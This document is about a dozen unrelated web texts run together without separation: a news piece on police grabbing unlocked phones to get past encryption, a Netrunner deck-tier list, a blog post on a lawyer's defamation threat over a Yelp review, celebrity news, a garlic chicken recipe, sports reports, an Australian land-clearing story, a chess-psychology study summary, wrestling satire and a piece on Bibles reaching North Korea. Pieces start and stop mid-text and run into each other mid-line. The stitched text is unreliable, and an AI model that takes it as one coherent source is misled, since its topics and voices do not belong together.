The American legal landscape a year later with the landmark 2014 Supreme Court decision, Riley v. California, which unanimously held that a warrantless search of the digital contents of a cell phone is unconstitutional. Full on searches of phones can’t legally happen without a warrant. Once the judge gives the go ahead, however, the question of how to circumvent encryption is open. The legal order in which this all takes place is less clear.
It’s not clear how widespread the tactic is in either the United Kingdom or United States. California-based criminal defense attorney Jay Leiderman says he’s seen the tactic before and that “it’s actually not at all uncommon.”
“I wouldn’t be surprised at all to learn police were trained to separate encryption from the user,” Leiderman told CyberScoop.
Leiderman explained a scenario he’s seen over and over again: Police wait for a suspect to flip their phone on “because they’re out of it, their attention is divided, they’re sucked into their phone so they’re not noticing the four or six people around them closing in about to tackle them. That’s also smart policing.”
In the wake of Riley, cops can look at what’s on a seized phone’s screen, keep the phone unlocked, and may be able to get a warrant to fully search the contents of the device.
The encryption debate that dominated headlines last year is widely expected to return to prominence under President-elect Donald Trump. How federal agents—and law enforcement at all levels—will deal with the challenge remains to be seen.
This is “the kind of police work I think we expect law enforcement to engage in, rather than things like bulk interception or hacking of users,” Joseph Lorenzo Hall, Chief Technologist at the Center for Democracy & Technology, told CyberScoop. “This seems like legitimate police work, highly retail (it doesn’t scale well)… However, after ‘Riley’ they will need a warrant which should narrowly prescribe for what and where the police can look on a device seized in this manner.”
Although it’s extremely potent, an opportunistic smash-and-grab is far from a panacea for all the challenges encryption puts in front of law enforcement, nor is it the end of the strong privacy protections encryption provides for the rest of us. Maybe most importantly, necessitating a more physical confrontation puts everyone involved and even civilians nearby at greater risk of injury, as former NSA counsel Susan Hennessey argued.
The idea that physical force can beat encryption is not new. “Rubber hose cryptanalysis” is a three-decade old sardonic euphemism about how torture and coercion can be used to obtain passwords that will render encryption useless. If the human being is the weakest point in cybersecurity, that goes double for cryptography. The techy webcomic XKCD tackled the idea six years ago.
“When they raid a place, that’s the first thing they try to do,” attorney Tor Ekeland told CyberScoop. “They try to stop you from locking your stuff. That’s why they’ll come in really quick or they try to get you generally early in the morning. I think that’s a common practice.”
One counterpoint to this police tactic is layered security.
Signal, the increasingly popular secure messaging app, encrypts text messages from one phone to another. If a law enforcement agent or criminal or spy was to physically separate a Signal user from their unlocked phone, however, the entirety of their communications would be open to them. At least, that was the case up until somewhat recently.
Last year, security researcher Runa Sandvik, who directs information security at the New York Times, asked Signal developers to implement app specific passwords. There was a back and forth about the possible benefits but Sandvik won out in the end. Today, the app allows for password protection and encryption on the device. So, if you password protect Signal, even being physically separated from your unlocked device would not expose your communications unless you had specifically unlocked the Signal app. A user could also enable screen security, so messages aren’t visible on the lock screen; and disappearing messages, a feature that deletes messages after a set time period, for yet another layer of security and tidiness.
Specific app passwords would, in theory, reset the situation to exactly where it had been: Encryption protecting data with the phone still out of the owner’s possession.
“My clients that listen to me, that’s what you’ll find them doing,” Liederman said. He admits, however, that only 10 or 20 percent of his clients follow his security advice.
“Certainly, [this kind of police tactic] will leave exposed anything that doesn’t have an additional layer of authentication required,” Hall explained, “and apps like banking, password managers, and Buffer that allow the option of fingerprint scanning for authentication could be compelled or fooled with fake fingers. So people with law enforcement in their threat models may want to rely on numeric PIN numbers for those apps.”
For everyday users, this might be a bridge too far in the name of security. The crux of Signal’s fast rising popularity is that it’s as easy to use as any other messenger but with exponentially more security. Adding passphrases or deleting archives adds a complicating wrinkle. But for security-sensitive users—businesspeople, journalists, activists, lawyers, etc.—these are the kinds of options that come into play as physical force becomes a more commonly used tactic to beat popular default encryption. For developers, it becomes yet another threat model to take into account.
“At this point in the game, technology is moving faster than the law,” Liederman explained. “It’s not really about having answers, it’s about asking the right questions. However, we simply don’t have answers to them at this point.”
Of course, even if you manage to keep the sensitive stuff on your phone locked, the FBI might just buy a way to unlock it anyway if they deem it worth the considerable cost.Hello and welcome to the Sneakdoor Meta Snapshot for JANUARY 2016! These ratings are based on results from the Stimhack, Acoo and NetrunnerDB Tournament Winning Decklists pages, as well as community discussion. For explanations of various deck archetypes listed here, check out the (NOW EXPANDED) The Big List of Decks. Check out the new Videos page for some more great Netrunner content too!
You might have heard about a little announcement in the Netrunner world recently called the NAPD Most Wanted List. I might not necessarily agree with every card on there, but damn if it hasn’t done its job in shaking up the meta…
Or has it?
As you can imagine, this was fairly interesting to compile. Current post-MWL lists are far from locked in and we’re seeing some interesting decision making. So I’d like to clarify that this is a bit more speculative than usual. Thanks to Alex White, Kris Jamieson and Hollis Eacho for helping me out. I also apologise for not being able to source decklists properly in many cases below – many of them I’ve had to copy and modify myself to make MWL legal, or just put together “averaged” versions. Also, there’s a bunch of stuff missing from the list because I have no idea where to put it, or not sure what a list looks like post-MWL.
Tier Explanation
Due to the nature of Netrunner, tiers aren’t set in stone and player skill is usually the main factor. Tier 1 and 2 often have blurred boundaries depending on the pilot. That said:
Tier 1: The most highly optimised, efficient and consistent decks around. It’s very easy for them to find an oppressively powerful line of play. They will tend to have a clearly defined game plan that can be achieved very consistently, even with less experience piloting the deck. These decks consistently win or place highly in tournaments.
Tier 2: Efficient and powerful, but slightly less consistent than Tier 1 and easier to tech against. They may be more reliant on player skill and familiarity, or not quite as strong in the current meta. Still very competitive, can and will take games off Tier 1 decks.
Tier 3: May be either meta-dependent, difficult to pick up and play or simply much less consistent. These decks can perform very well in the right circumstances, but right now are either missing cards to push them over the edge or just don’t quite stack up against the current best decks. Tier 3 doesn’t mean bad – they’re just not necessarily as universally strong as Tier 1.
CORPORATION
Tier 1
Astrobiotics, Foodcoats, SYNC Biotics, RP Glacier
Tier 2
Convenience Shop, Blue Sun Glacier, Industrial Graveyard, Argus Rush, Gagarin Horizontal, Blue Sun Flatline
Tier 3
Jinteki: Personal Evolution flatline, Argus Flatline, Chronos Rush/Breaker control
So, yeah. Despite having almost every card on the MWL in either HB or NBN (with the one exception a neutral agenda that’s practically an auto-3 of), it turns out that the game plan is so inherently strong in these decks that they can survive a rework of their influence. The biggest hit for Foodcoats is the struggle to keep 2 Caprice, while NBN needs to make some pretty important decisions around their ICE, SanSan and Biotic Labor counts.
SYNC moves into Tier 1 with the double Biotic and Psychographics list. Quantum Predictive Model and News Team tend to do strong work in protecting against R&D digs and also allow for strong never advance plays behind a Data Raven. A particularly interesting feature of this list is that it’s the first strong deck for a very long time to use non-kill tag punishment, which FFG was surely aiming for with Data and Destiny. Good job, team.
Convenience Shop has a real problem right now as it can’t keep Astro and the kill pieces. Despite the kill threat being almost as strong (reduced by being unable to combo Astro tokens with Breaking News), losing Astro neuters the scoring plan significantly. Some lists are moving to Psycho-Beale as an alternative, but that’s never been as consistent a plan.
RUNNER
Tier 1: Faust Noise, L4J/Reg-Ass Whizzard/Val/MaxX, Apocalypse MaxX, Minh MaxX, Reg-Ass Val, DLR Valencia
Tier 2: Leela Desperado, Nexus Kate, ProCo Blitz Kate, Faust/Parasite Gabe, B&E Geist, stealth Kate,
Tier 3: Logos Leela, Hayley Pawnshop
You know what time it is? Anarch time. Three influence for Parasite is a perfectly acceptable trade. Most lists are dropping at least one Clone Chip, so the main impact is less threat of insta-Parasites blowing up your board. Noiseshop is still extremely powerful, and likely the strongest runner right now. The list I’ve posted is kind of an “averaged out” one – some drop Sure Gamble for Cyberfeeder or Daily Casts and the Lamprey/Medium ratios change. The general idea remains the same.
Among the rest of the Anarch field, the Reg-Ass shell remains strong with most powerful identities. Whizzard, as always, is a meta call – and in a meta potentially dominated by NEH, he can get insane value. It’s worth pointing out, though, that he appears to have a difficult SYNC matchup.
We rate Minh-MaxX better than DLR Val right now, due to Val’s slightly dicey Fastro matchup.
Shaper, meanwhile, has gotten officially slapped down with the obliteration of Prepaid. I’m upset, as a long-time Kate player, but the writing is on the wall. The builds are all just too slow. Nexus Kate is amazing when it gets set up, but the parts are all so expensive that it can be impossible to pull it off in time if the Corp realises what’s up. There’s some experimenting happening with ProCo/Daily Casts and most of the events from the PPVP lists but it’s not yet clear whether it can compare – in the hands of a good player it can still do serious work.
Criminal, meanwhile, doesn’t change much other than being very sad about losing influence on Desperado. However, since many deckbuilders are responding to the Clone Chip nerf by attempting Marcus Batty breaker trashing barrages, Criminal’s lack of recursion continues to bite.
GENERAL THOUGHTS
There’s a lot of people running NEXT Ice right now because they think Parasite will disappear. I…would not recommend it. Anarchs are the strongest faction right now, and those Silvers are going to burn.
Overall, the meta is unlikely to diversify further until Mumbad hits. It’s interesting to see powerful strategies adapt, however.
AdvertisementsKyle Barella is an immigration lawyer with his own firm. Last week he gave an "exclusive" interview to Breitbart News Network on his views about birthright citizenship and the whole "anchor baby" controversy. That was, of course, his right. He said he thinks that birthright citizenship is being abused and that we should end it. He said so rather mildly, particularly given where he was being quoted.
This is modern America, so naturally someone was upset about his viewpoint and left his law firm a one-star review on Yelp complaining that his ideas are "borderline racist." It's his only review right now. The reviewer — "Amir K." — thinks that Kyle Barella shouldn't be an immigration lawyer because of his views on birthright citizenship:
I'm not a fan of "this dude is a wrongthinker so let's go leave bad reviews on his business' Yelp page." If Kyle Barella had complained to Yelp that Amir is not a customer and shouldn't be leaving reviews, I'd support him. If he campaigned to get Yelp to change its rules so that it's not so easily turned into a vehicle to express outrage at the Mean Person Of the Day, I'd support him. If he wrote a reply suggesting that Amir is a choad, I'd support him. If he argued that lawyers can have a wide variety of political views that don't impair their ability as advocates, I'd agree.
But, as I said, this is America. So Mr. Barella sent a legal threat. I can't support that.
Kyle Barella is mad because the Yelp post hurts his reputation. "Even worse than voluntarily appearing on Breitbart!" he might say, but I guess that's implied.
This letter is either thoroughly stupid or entirely dishonest.
First, Mr. Barella suggests that Amir committed libel because Amir wasn't a customer of the law firm. But Amir doesn't say he was a customer of the law firm. He doesn't imply it. In fact, the implication of his post — which is entirely about is asschafe over Mr. Barella's Breitbart comments — is that he's a stranger who wandered in because he didn't like what he read. I suppose you could construct an argument that anyone who posts on Yelp implicitly asserts that they were a customer, but that would be a very bad argument, because the trend of leaving angry Yelp reviews for complete strangers as part of public castigation is a well-known phenomenon.
Second, Mr. Barella claims that the Yelp review contains false statements, but doesn't say what they are. Remember: ambiguity in defamation threats is a sign of meritless thuggery.
Third, Amir's comments are pure opinion, and entirely and clearly protected by the First Amendment. This is not a close call. Amir describes Mr. Barella as having "very strongly anti-immigrant and borderline racist" political views, but explicitly bases that statement on the Breitbart article, which he links and invites readers to review. The rest of his post — in which he characterizes the impact of ending birthright citizenship, and suggests that Mr. Barella is "right-wing and nativist" — are similarly premised on the Breitbart link. This is a classic case of an opinion based on disclosed facts. Arguing that someone is a racist based on disclosed facts — based on what they said in public — isn't libel; it's protected opinion. Similarly, arguing "someone with those views would be a lousy immigration lawyer" may be dumb, tendentious and more than a little totalitarian, but it's still protected opinion, not actionable fact.
A reasonable lawyer would know this. I don't know whether Mr. Barella doesn't know it, or whether he's bluffing.
Amir is a tool, and represents a social trend worthy of criticism. But Kyle Barella is more blameworthy here. His meritless threat carries with it the risk that he'll abuse a broken system to punish and suppress protected speech. That's contemptible. He's also foolish, given the existence of the Streisand Effect.
Lawyers, don't do that.
I sent Mr. Barella a request for comment and will update if he responds.
Last 5 posts by Ken WhiteShe’s probably the nation’s most famous unwed teenage mom and now, Bristol Palin is taking her experience straight to the bank.
A source close to Palin tells RadarOnline.com exclusively that Bristol has signed with a speakers bureau called Single Source Speakers, charging between $15,000 and $30,000 a speech.
EXCLUSIVE INTERVIEW: Dr Drew Praises Sarah Palin’s Parenting
Her first stop will be the Heartbeat International Conference in Orlando, Florida, on May 18.
PHOTOS: Hot Celeb Moms
In an exclusive interview with RadarOnline.com, Bristol said she is “excited to go to Orlando and meet the hundreds of pregnancy support providers from around the world that will be attending.”
PHOTOS: Levi Johnston’s Sexy Playgirl Photos
Palin says she is also writing her first book, which will detail her experiences on the 2008 presidential campaign trails, the notoriety she has faced as a result of her relationship with ex-boyfriend Levi Johnston, and how she is raising their son Tripp as a single mom.
PHOTOS: Political Hotties
EXCLUSIVE: Bristol Palin To Make Acting Debut; Says She “Appreciates Opportunity”*This post contains Amazon affiliate links.*
A lot of folks have asked me for this recipe. It’s one of The Angry Chef’s signature dishes, and I was lucky to pry it away from him.
This recipe is a dream come true for garlic lovers like me. It’s tart and garlick-y and oh-so-fragrant in all the right ways.
(As a bonus, you’ll surely be safe from vampires for the evening.)
The instructions below are one part recipe, one part technique.
Basically, the chicken breast is dredged in flour, then shallow fried in a bath of bubbling golden olive oil.
It develops a rich brown, garlicky crust and layers of flavor from being flipped and seasoned a handful of times.
Lemon juice, powdered peel, and fresh zest provide a triple dose of bright citrus flavor right near the end of cooking.
The chicken meat itself is moist and tender and infused with lemon-y garlic flavor.
Enjoy this chicken with any sort of hot, spicy rice (I have yet to get the recipe for the Demon Saffron Rice that he made around Halloween), some warm, buttered noodles, or grilled asparagus sprinkled with Parmesan.
Leftovers make killer toasted subs with oodles of melted cheese.
The Angry Chef’s Garlicky Lemon-Pepper Chicken: A note on ingredients
This recipe calls for three different types of garlic—garlic salt, fresh elephant garlic, and jarred minced garlic.
You’ll also want to use pure olive oil instead of extra virgin, because it has a higher smoke point (making it better for frying).
The Angry Chef’s Garlicky Lemon-Pepper Chicken
6 chicken breasts (about 4 1/2 lbs)
2 cups flour
1 lemon, juice and peel
1 clove elephant garlic
3 1/2 Tbls. prepared minced garlic
pure olive oil
onion powder
garlic salt
white pepper
black pepper
dried oregano
dried parsley
powdered lemon peel
Serves 6-8 as a main course.
The Angry Chef’s Garlicky Lemon-Pepper Chicken: Prep your ingredients
Slice each chicken breast in half lengthwise.
Peel the elephant garlic and cut it into a coarse dice.
Next, zest your lemon then cut it in half.
Put the flour in a gallon-sized zip-top bag.
Grab your chicken.
Drop it into the bag with the flour.
Seal the bag well. Shake it around to coat the chicken well with flour. It should look about like this:
Take each piece of chicken out of the bag.
Shake off any excess flour.
Lay the chicken out on a board or plate and set it aside for a minute.
The Angry Chef’s Garlicky Lemon-Pepper Chicken: Start to fry the chicken
Pour about 1/4 inch of olive oil into a large, non-stick pan.
How much oil you use will depend on the size of your pan.
Heat the oil for a minute or two over medium-high heat.
Add the jarred, minced garlic to the oil.
Sprinkle in the fresh, diced elephant garlic.
Give the garlic and oil a stir.
Cook for a minute or two over medium-high heat to infuse the oil with garlicky goodness.
When the oil starts to bubble, carefully put each piece of chicken in the pan.
Your pan will be crowded. In this case, that’s just fine.
Cook over medium-high heat until the oil starts to bubble again.
When it starts to bubble, season it by coating the top of the chicken with a thin layer of onion powder, garlic salt, white pepper, black pepper, dried oregano, and dried parsley.
It should look about like this.
Cook for 3-4 minutes over medium-high heat.
As it cooks, push the chicken around a little to let the oil flow in between the pieces of chicken.
The Angry Chef’s Garlicky Lemon-Pepper Chicken: Flip #1
After 3-4 minutes, flip each piece of chicken over.
Pieces of golden brown garlic should be stuck to the bottom.
That’s the start of your chicken’s garlicky crust.
Reseason the top of the chicken with a thin layer of onion powder, garlic salt, white pepper, black pepper, dried oregano, and dried parsley.
Cook for another 3-4 minutes.
The Angry Chef’s Garlicky Lemon-Pepper Chicken: Flip #2
After about 3-4 minutes, flip each piece of chicken over again.
Reseason the top of the chicken with a thin layer of onion powder, garlic salt, white pepper, black pepper, dried oregano, and dried parsley.
After you’ve done that, sprinkle on a layer of powdered lemon peel.
Then sprinkle with the fresh lemon zest.
Squeeze one of the lemon halves over the pan, getting a little juice and lemon pulp on each piece of chicken.
Cook over medium-high heat for 3-4 minutes.
The Angry Chef’s Garlicky Lemon-Pepper Chicken: Flip #3 (a.k.a. the final flipping)
After 3-4 minutes, flip the chicken one last time.
At this point, it should have a handsome brown crust on the bottom.
Sprinkle with dried parsley.
Squeeze the other half of the lemon over the chicken, getting a little on each piece.
Let it cook for 8-10 minutes more.
After that time, your chicken should have a good brown crust and be cooked completely though (cut and peek to be sure, if you like).
Remove the chicken from the oil and heap on a platter.
Serve and enjoy!
The Angry Chef’s Garlicky Lemon-Pepper Chicken The Hungry Mouse This is one of our fav ways to make chicken. Fair warning: This is super garlicky and oh-so-delicious. Save Recipe Save Recipe Print Recipe My Recipes My Lists My Calendar Ingredients 6 chicken breasts (about 4 1/2 lbs), each sliced in half lengthwise 2 cups flour 1 lemon, juice and zest 1 clove elephant garlic, peeled and diced small 3 1/2 Tbls. prepared minced garlic pure olive oil onion powder garlic salt white pepper black pepper dried oregano dried parsley powdered lemon peel Instructions Put the flour and chicken in a gallon-sized zip-top bag. Seal the bag well. Shake it around to coat the chicken well with flour. Take each piece of chicken out of the bag. Shake off any excess flour. Lay the chicken out on a board or plate and set it aside for a minute. Pour about 1/4 inch of olive oil into a large, non-stick pan. How much oil you use will depend on the size of your pan. Heat the oil for a minute or two over medium-high heat. Add the jarred, minced garlic and diced elephant garlic to the oil. Give the garlic and oil a stir. Cook for a minute or two over medium-high heat to infuse the oil with garlicky goodness. When the oil starts to bubble, carefully put each piece of chicken in the pan. Your pan will be crowded. In this case, that’s just fine. Cook over medium-high heat until the oil starts to bubble again. Sprinkle the chicken with a thin layer of onion powder, garlic salt, white pepper, black pepper, dried oregano, and dried parsley. Cook for 3-4 minutes over medium-high heat. As it cooks, push the chicken around a little to let the oil flow in between the pieces of chicken. After 3-4 minutes, flip each piece of chicken over. Pieces of golden brown garlic should be stuck to the bottom. That’s the start of your chicken’s garlicky crust. Reseason the top of the chicken with a thin layer of onion powder, garlic salt, white pepper, black pepper, dried oregano, and dried parsley. Cook for another 3-4 minutes. After about 3-4 minutes, flip each piece of chicken over again. Reseason the top of the chicken with a thin layer of onion powder, garlic salt, white pepper, black pepper, dried oregano, and dried parsley. Sprinkle on a layer of powdered lemon peel and fresh lemon zest. Squeeze one of the lemon halves over the pan, getting a little juice and lemon pulp on each piece of chicken. Cook over medium-high heat for 3-4 minutes. After 3-4 minutes, flip the chicken one last time. At this point, it should have a handsome brown crust on the bottom. Sprinkle with dried parsley. Squeeze the other half of the lemon over the chicken, getting a little on each piece. Let it cook for 8-10 minutes more. After that time, your chicken should have a good brown crust and be cooked completely though (cut and peek to be sure, if you like). Remove the chicken from the oil and heap on a platter. Serve and enjoy! 7.8.1.2 25 http://www.thehungrymouse.com/2008/11/28/the-angry-chefs-garlicky-lemon-pepper-chicken/ Jessie Cross, The Hungry Mouse. All rights reserved.Dueling Houston law schools strike deal in naming dispute through mediation
An artistés rendering of one of the new billboards with South Texas College of Law Houstonés new branding. Three new billboards are up around Houston as of Feb. 1. Credit: Pete Vogel/South Texas College of Law Houston less An artistés rendering of one of the new billboards with South Texas College of Law Houstonés new branding. Three new billboards are up around Houston as of Feb. 1. Credit: Pete Vogel/South Texas... more Photo: Pete Vogel/South Texas College Of Law Houston Photo: Pete Vogel/South Texas College Of Law Houston Image 1 of / 1 Caption Close Dueling Houston law schools strike deal in naming dispute through mediation 1 / 1 Back to Gallery
Two crosstown Houston law schools reached a settlement Thursday in a trademark spat over the name and branding at the older institution.
After hitting an impasse in settlement talks earlier this year, the University of Houston and South Texas College of Law Houston hammered out a draft agreement after two days of mediation this week before U.S. Magistrate Judge Dena Hanovice Palermo.
Officials at both schools said they are still waiting for the UH Chancellor and the South Texas board to sign off on the deal. The schools agreed not to comment on the terms of the deal or their feelings about the nine-month detente, officials said.
The UH regents hired a team of top-tier lawyers in June after South Texas College of Law changed its name to Houston College of Law and switched to a red color scheme. UH lawyers said its law center owned the rights to the word "Houston" in an educational setting.
The hefty legal team for the private South Texas College of Law matched them toe-to-toe, arguing law students would not be confused by the two very different law schools.
But in October, U.S. District Judge Keith Ellison ruled that UH was likely to win at trial and he ordered South Texas to stop using the name starting with "Houston."
South Texas reverted to its original name, but adding the word Houston at the end, a revision UH officials said they approved.
It appeared the major conflicts had been resolved, and Ellison suggested the parties figure it the final details out privately. In January, the discussion halted over monetary issues and the status of various trademark applications and registrations still in play.
The law schools asked the judge to send the case to formal mediation.There will be no slow build for Aaron Pico.
Few would blame Bellator for giving Pico a showcase fight in his pro MMA debut. One of the top prospects in the history of the sport should be booked very carefully. But Pico wasn’t having any of it — he wanted a veteran right out of the gate.
“I wanted this competition,” Pico told Ariel Helwani on Monday’s edition of The MMA Hour. “I train every day to be the best in the world. I told everybody around me, ‘I don’t want to go out there and fight a guy 1-2, 1-0.’ I want to go challenge myself. I know what my abilities are.”
Pico will meet Zach Freeman on the Bellator NYC pay-per-view event June 24 at New York’s Madison Square Garden. It’ll be a high-profile first outing for the blue-chipper. And Freeman is no scrub. He’s 8-2, has been a pro for six years and is a former RFA title contender.
While it is technically his pro debut, Pico has a wealth of competition under his belt, including what he estimates to be 50 Pankration matches, amateur MMA since he was 11 years old, 30 amateur boxing matches and a lifetime of wrestling. At 20 years old, he is probably the most polished prospect in MMA history.
“I always knew MMA was in mind,” Pico said. “I know I have
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leaked data showed land clearing had tripled in Queensland over three years, after the former Liberal National government removed protection for woodlands to enable intensive agriculture.
The largest single example underway is the Olive Vale property on Cape York, from which 330sq km of “world heritage quality” woodland is being razed.
The LNP ruled out grazing as an example of the “high value agriculture” intended to benefit when passing the new laws in 2013.
However, Olive Vale owner Ryan Global is a beef industry player which has flagged increasing the number of cattle on the property from 15,000 to 25,000.
The razing of the Olive Vale bushland puts 17 threatened species at risk and increases runoff and pollution into Great Barrier Reef waters, according to the Wilderness Society.
They claim the impact on wildlife meant the project should have been referred to the commonwealth under species protection laws and have called for an urgent investigation by federal environment minister Greg Hunt.
The environmentalists called for the new Labor state government to urgently tighten up land clearing laws which allowed the LNP to approve at least 1130 sq km of bushland for clearance.
Wilderness society Queensland campaign manager Tim Seelig said this amount of clearing would create the equivalent of 9.66 million tonnes of carbon dioxide emissions, or nearly 2 per cent of Australia’s annual emissions.
The LNP changes removed protection for another 7750 sq km of remnant native vegetation, he said.
Seelig said Queensland was “once the land clearing capital of Australia” but had led the way in the last decade with land clearing restrictions that “singlehandedly allowed Australia to meet its international climate commitments”.
But the former LNP government had “opened floodgates to industrial-scale land clearing” which “made a mockery” of commonwealth attempts to keep trees in the ground through its “direct action” policy, Seelig said.
“Despite pre-election commitments to restore strong land clearing controls in Queensland, the Palaszczuk government has been slow off the mark in dealing with this issue,” he said.
“We need immediate action stop immediate clearing cases, and a block new large scale land clearing applications, while and the government investigate all large scale approvals granted under the LNP.
“This should also include the immediate release of the government’s latest land clearing data. We understand that clearing rates are rapidly rising, and are likely to spiral out of control without action, but there should be maximum transparency on what’s going on.”
Comment has been sought from the federal environment department, Queensland deputy premier and planning minister Jackie Trad, and the LNP state opposition.It's a results-based business. And Orioles manager Buck Showalter—who, if he doesn't precisely rely on his hunches, at least tends to make decisions questionable enough that you notice they were decisions at all—finally has a playoff series win to call his own.
This will be Showalter's first league championships series in four tries. In 1995, he took the Yankees out to a 2-0 lead in the very first year of the division series, before collapsing in heartbreaking fashion to Seattle. In 1999, his 100-win Diamondbacks lost in four games to the Mets. In 2012, his Orioles won the play-in game before falling to the Yankees in five. What does it feel like to finally, finally advance?
"I got one in Albany," Showalter noted, referring to the 1989 double-A Albany-Colonie Yankees.
Your first major-league series win, a reporter clarified.
"They're all relevant," Showalter said.
OK, but some are more relevant than others. Like taking three straight games from the Tigers, who were able to send Max Scherzer, Justin Verlander, and David Price to the mound in three consecutive games. To counter in the clincher, the Orioles turned to Bud Norris, acquired at last year's trade deadline from Houston, where he had never pitched for a winning team. Yesterday, he outdueled Price with six and a third innings of one-hit ball.
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Showalter didn't decide on Norris as his Game 3 starter until Friday, and it sounds like the Orioles manager was counting on Norris not having too much time to consider what he was getting into.
"Today was my first day getting out there, different beast," Norris said. "Something I can't wrap my head around right now. I'm sure it will soak in the next couple of days. But it's just something we played since we were kids..."I was excited to have my number called and go out there and play. You got adrenaline and same thing, 60 feet, six inches."
After taking three straight games from the last three AL Cy Young Award winners, Showalter had this to say of giving Norris the start: "Just because someone hasn't had the opportunity to do something before doesn't mean they can't do it."
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To bookend the clincher with another big decision, Showalter made the call to intentionally walk Nick Castellanos with one out in the ninth and the lead cut to 2-1. Closer Zach Britton has been lights-out this year, but had surrendered back-to-back doubles to start the ninth and get the Detroit crowd was back into things. Still, Showalter put the winning run on base.
Conventional wisdom? Showalter's wisdom—with the benefit of hindsight, naturally—makes his decision seem obvious. Britton's turbo sinker, which sits solidly in the 90s and which he finally put together as a devastating out pitch this past winter, is designed to induce ground balls. "Had a lot of faith in Zach," Showalter said of the call to walk Castellanos. "Played to the strength of our guys."
There were no questions asked — only orders given and statements made. "We're going to walk this guy," Buck Showalter said to the six Baltimore Orioles he had gathered on the Comerica Park pitcher's mound in the ninth inning of Game 3 of the American League Division Series. "The next guy's going to hit into a double play, and we're gonna go home."
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In its way—and maybe this is just after-the-fact athlete talk—the intentional walk was a self-fulfilling prophecy for Britton.
"I thought it was great," Britton said. "I was on the same page as him right there. You set up the double play. With how many ground balls I can get and how good our defense is, I think you've got to take the risk that I'm going to get a ground ball right there. Knowing that Buck had the confidence that I could do it allowed me to focus in a little bit more and make a good pitch."
The Tigers sent up Hernan Perez, who had just five at-bats in the regular season and was on the roster, Brad Ausmus said, to hit against the Orioles' lefties. Like Britton.
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That Showalter's decisions paid off here doesn't necessarily mean they were smart decisions—though the fact that they've been paying off all series and all season tends to point in that direction—it just means, tautologically, that they were good decisions. That's often more than enough for October, which is much shorter than it feels. Three wins down for these Orioles, eight more to go—the next potential four pitting Showalter against Ned Yost, which projects to a mismatch.
Showalter was asked what winning his first playoff series actually achieved. His answer, of course, was that it's chance to make even more fateful decisions.
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"It means we won an opportunity," Showalter said. "Basically what you won is an opportunity to keep rolling the dice."From ChessBase News: “Normally knowing your enemy is an advantage. Not so in chess games between the sexes. In a study published in the European Journal of Social Psychology, Volume 38, Issue 2 (March/April 2008) (pdf here), Anne Maass, Claudio D’Ettole, Mara Cadinu, Dr Anne Maass (et al.) pitted male and female players against each other via the Internet. Women showed a 50% performance decline when they were aware that they were playing a male opponent.” Here’s the article’s abstract.
* * *
Women are surprisingly underrepresented in the chess world, representing less that 5% of registered tournament players worldwide and only 1% of the world’s grandmasters. In this paper it is argued that gender stereotypes are mainly responsible for the underperformance of women in chess. Forty-two male-female pairs, matched for ability, played two chess games via the Internet. When players were unaware of the sex of opponent (control condition), females played approximately as well as males. When the gender stereotype was activated (experimental condition), women showed a drastic performance drop, but only when they were aware that they were playing against a male opponent. When they (falsely) believed to be playing against a woman, they performed as well as their male opponents. In addition, our findings suggest that women show lower chess-specific self-esteem and a weaker promotion focus, which are predictive of poorer chess performance.
* * *
Here’s the article’s conclusion.
* * *
A number of novel findings emerge from the present study that complement cognitively-oriented research on chess. Most importantly, gender stereotypes can have a greatly debilitating effect on female players leading to a 50% performance decline when playing against males. Interestingly, this disadvantage is completely removed when players are led to believe that they are playing against a woman. This may, in part, occur because women choose a more defensive style when playing with men.
A second and more general message of our study is that self-confidence and a win-oriented promotion motivation contribute positively to chess performance. Since women show lower chess-specific self-esteem and a more cautious regulatory focus than males, possibly as a consequence of widely held gender stereotypes, this may at least in part explain their worldwide underrepresentation and underperformance in chess.
Thus, women seem disadvantaged not because they are lacking cognitive or spatial abilities, but because they approach chess competitions with lesser confidence and with a more cautious attitude than their male opponents. Hence, a motivational perspective may be better suited to understand (and prevent) the underperformance of women in the ‘ultimate intellectual sport.’
* * *
You can dowload the entire article here. To read a sample of related Situationist posts, see “The Situation of Gender-Science Stereotypes,” “The Situation of Gender and Science,” “Stereotype Threat and Performance,” “The Gendered Situation of Science & Math,” “Gender-Imbalanced Situation of Math, Science, and Engineering,” “Sex Differences in Math and Science,” “You Shouldn’t Stereotype Stereotypes,” “Women’s Situation in Economics,” and “Your Group is Bad at Math.”Members of an online pro wrestling forum are unanimously in awe of a user who is so well-versed in the inner workings of what he calls “the business” that he is apparently on a first-name basis with The Undertaker.
“I think Mark has one more match in him,” wrote the commenter, whose username is ROH_ClaudioDragon69.
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“He won’t retire from the Fed until he has one last match with Paul,” he added, referring to WWE COO Hunter Hearst Helmsley.
Other members of the forum are astounded by the expertise of ROH_ClaudioDragon69, and wish they too could someday be cool enough to refer to championship belts as “straps,” and have such a commanding knowledge of “workrates.”
It is widely believed among the so-called Internet Wrestling Community (IWC) that ROH_ClaudioDragon69 must be a member of the WWE roster, given his familiarity with wrestlers’ real names, and his ability to “see what Vince (McMahon, WWE Chairman) is thinking.”
An in-depth investigation by Kayfabe News has revealed, however, that ROH_ClaudioDragon69 is actually 28-year-old Todd Menderchuk of Des Moines, a former Subway Sandwich Artist whose bedroom has a furnace and boxes of his parents’ old Christmas decorations in it.North Korea Bible
How are Bibles getting into North Korea?
• When the winds cooperate, Bible balloons imprinted with Mark, the shortest of the four Gospels in the Bible, are released into the air toward North Korea (right). The Bible balloons eventually deflate and land in North Korea after floating the distances determined by the number of holes poked in them.
• For 30 minutes every day, Christian North Korean defectors in South Korea broadcast the Bible into North Korea by reading the Bible in the North Korean dialect.
• Some North Korean refugees in China hear the Gospel from the underground Christians in China, believe it, and volunteer to return to North Korea with Bibles and radios capable of tuning into those Bible-reading radio broadcasts from South Korea.
• Some organizations smuggle Bibles into North Korea via North Koreans and ethnic North Korean Chinese past the North Korean border guards, who are bribed.
How does North Korea resist these endeavors?
• The guards on the northern border are rotated and are themselves under surveillance.
• They try to shoot down the balloons and arrest those who pick up the balloons despite the false warnings that the balloons are poison-laced.
• Everyone is required to spy on everyone else. A neighbor overheard listening to a foreign radio broadcast, let alone the South Korean Bible reading broadcast, is required to be reported.
• Kindergarten children are taught that if they see their their parents hiding a book at home, they are to bring that book to class to “win” their game of hide-and-seek and receive prizes. A child who thus brings a Bible is feted in front of the other kids, and then ends up in a prison camp with his or her parents, or an orphan given to a couple more loyal to the regime.
• Agents posing as underground house church cells lure and trap secret believers.
• Other agents cross into China posing as refugees and seek help from the Christian missionaries who help and evangelize the North Korean refugees. When the trap is sprung, the missionaries are either killed by the North Korean agents or end up in Chinese prison, while any true North Korean refugees caught in the net are repatriated to be shot or to die slower in the prison camps.
Who is winning this battle?
